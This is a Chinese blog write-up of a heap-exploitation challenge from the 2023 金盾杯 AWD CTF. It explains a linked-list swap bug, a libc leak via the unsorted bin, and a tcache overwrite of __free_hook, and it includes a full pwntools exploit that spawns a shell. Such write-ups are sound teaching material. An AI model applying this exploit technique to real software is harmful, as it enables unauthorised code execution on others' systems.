首页 > 其他分享 >金盾杯 pwn awd

金盾杯 pwn awd

时间:2023-12-12 17:37:12浏览次数:29  
标签:index p64 堆块 libc 金盾 add pwn awd delete

金盾杯 pwn awd

难点就是利用链表控制节点,理清其中的关系

分析程序

在初始化程序时会申请一个 0x10chunk 作为一个头,在 add 中会申请三个堆块,第一个堆块就是用于存放第二个堆块的 id , size , address ,第二个堆块就是用于存放输入内容,第三个堆块就是存放第一个堆块的地址,和下一次申请的第三个堆块的地址。

用代码表示和下面一样

struct Chunk
{
  uint8_t idx;
  int size;
  char *content;
};
struct Node
{
    Chunk* data;  // 数据域
    struct Node *next;  //指针域,指向下一节点
} LinkList;

分析后门函数

调试发现后门函数其实就是两个节点的换位,但是实现的有点问题

问题一:没有删除原本的节点,比如原本是 a->b 执行后门后 a->b->a

问题二:换位后的 a 节点中的 chunkid 成员存在问题(可以调试发现 id 变成了 0x40,这个原因是因为是进入 tcache bin 后被 fd 指针覆盖了 )

可以通过上述的漏洞让第一个 a 进入 unsortbin 中,再利用第二个 a 得到 libc

调试发现最后一个的节点的 nexttcache_struct 但是大小是 0 无法申请出来,但是我们可以通过释放堆块进入 tcache bin 来改变 sizeid ,因为这个位置正好是存放 tcachefd 指针又不破话后面的 content 成员。image-20231212153142107

将这个堆块申请出来是 7 号堆块。

for i in range(7):
    add(i, 0x80, 'cccc')  #0 6  
add(7, 0x80, 'cccc')      #7

然后再释放掉两个堆块 07 ,利用 0 号堆块的地址改变 7 号堆块的 sizeid 。之所以 edit(0x10) 是因为 0 号堆块的最后一个字节是 0x10

delete(0)   
delete(7)   
payload = p64(0) + p16(0) * 3 + p16(1) + p64(0) * 14
payload += p64(0) * 7 + p64(libc.sym['__free_hook'] - 0x10)
edit(0x10, payload)

下面就没有什么说的了。

exp

from tools import *
context(arch='amd64', log_level='debug')
fn="./pwn"
elf = ELF(fn)
libc = elf.libc
p=process(fn)
def menu(choice):
    p.sendlineafter('your choice:', str(choice))


def add(index, size, content):
    menu(1)
    p.sendlineafter('chunk idx: ', str(index))
    p.sendlineafter('chunk size: ', str(size))
    p.sendlineafter('content: ', content)


def show(index):
    menu(4)
    p.sendlineafter('chunk idx: ', str(index))


def edit(index, content):
    menu(3)
    p.sendlineafter('chunk idx: ', str(index))
    p.sendlineafter('content: ', content)


def delete(index):
    menu(2)
    p.sendlineafter('chunk idx: ', str(index))


def store(index):
    menu(666)
    p.sendlineafter('chunk idx: ', str(index))

add_p=0x17C2
delete_p=0x17CE
show_p=0x17E6
edit_p=0x17DA 
for i in range(9):
    add(i, 0x80, 'cccc')  #0 8

store(7)                  #0 9

for i in range(7):        #0 6
    delete(i)

delete(7)                 #7
show(0x40)                #9
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
log_addr('libc_base')

for i in range(7):
    add(i, 0x80, 'cccc')  #0 6  
debug(p,'pie',add_p,delete_p,show_p,edit_p,0x1B23)   
add(7, 0x80, 'cccc')      #7

delete(0)   
delete(7)   

payload = p64(0) + p16(0) * 3 + p16(1) + p64(0) * 14
payload += p64(0) * 7 + p64(libc.sym['__free_hook'] - 0x10)
edit(0x10, payload)

add(0, 0x80, b'/bin/sh\x00' + p64(0) + p64(libc.sym['system']))
delete(0)

p.interactive()


参考 2023金盾杯awd pwn wp-CSDN博客

标签:index,p64,堆块,libc,金盾,add,pwn,awd,delete
From: https://www.cnblogs.com/trunk/p/17897376.html

相关文章

  • OSCP(扩展篇靶机Pwnlab)
    第一步:nmap与nikto  得到线索:/config.php:PHPConfigfilemaycontaindatabaseIDsandpasswords. 第二步:DotDotPwn进行模糊测试DotDotPwn是一个模糊测试工具,用于发现软件中的遍历目录漏洞,例如HTTP/FTP/TFTP服务器,Web平台的应用程序(如CMS,ERP,博客等)。DotDotPwn是用p......
  • PWN-非栈上格式化字符串之.fini_array劫持
    1..fini_array劫持上周打了一下金盾杯,算是第一次做非栈上格式化字符串的题,之前只在ctfwiki上看过一点。边学边做,比赛最后一个小时做出来了,爽了。以金盾杯的题为例1.12023金盾杯sign_format题目介绍:一道非栈上的格式化字符串,通过修改dl_fini数组里的偏移值,使函数在退出时执......
  • 你想有多pwn
    第一章1.1认识程序file、ldd1.2gdb调试一、指令1、start、run2、断点设置断点bmian、b*0x123456查看断点infob、ib让断点失效disableb序号恢复断点enableb序号删除断点d序号步过、步进......
  • PWN入门之Stack Overflow
    本文是i春秋论坛签约作家「Binarystar」分享的技术文章,旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。大家好,我是Binarystar,目前从事于公安行业,擅长Web、二进制和电子取证方向。能把网络安全技能运用在工作中,与我的职业结合起来做有意义的事,是非常自豪的,我希望通......
  • CTFpwn全保护简单介绍及一道保护全开题
    今日份心脏骤停,噔噔咚!每种保护介绍FullRELRO保护原理:其实就是不让你改写got表中的内容。影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)Canary保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在......
  • CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp
    三个例子的引入目前我遇到的格式化字符串漏洞(formatstring,后文简称fmt)主要存在于printf函数,本文也就以printf举例。例一,标准格式的printf read(0,buf,33);printf("%s",buf);例二,占位符与变量 printf("%d%c%s",a,b,c);//%d%c%s会访问变量以输出整型,字符等。其中a,b,c为三......
  • PWN学习之LLVM入门
    一、基本流程①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位:②通过逆向,找到函数名及参数,编写基本exp③找到漏洞,写利用exp.c,其中的pwn的目标是op......
  • 【pwn】orw&rop --泄露libc基址,orw
    我们先看看程序的保护的情况因为题目提示了orw,我们可以沙箱检测一下可以发现是禁用的execve函数的,接着看函数逻辑这里格式化字符串漏洞可以泄露canary和puts函数地址,先确定一下参数位置可以发现参数是在第六个位置,接下来就是构造ROP,调用read函数读取shellcode到mmap开辟的......
  • 【pwn】puts or system? --格式化字符串漏洞泄露libc基址
    还是先看一下保护情况开了canary,接着看主函数逻辑看到这里的代码逻辑,我一开始是想通过printf泄露出canary的值,然后再用ret2libc来打,但是我发现这个libc不好泄露,一般的泄露的思路都是构造ROP,通过puts函数泄露出puts的got表内容,但是我在寻找rdi这个gadget的时候,是找不到的这也......
  • CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神
    分析这题题目已经在暗示用int数据的overflow了,不过不急,先分析一下。保护基本没啥保护,也挺好,适合不用搞太多花里胡哨的泄露,只需理解这题想告诉你的知识。后门函数看到有一个whatisthis函数,正是我们要的catflag函数。main函数login函数main函数里需要的操作很简单,只需输入一个1就......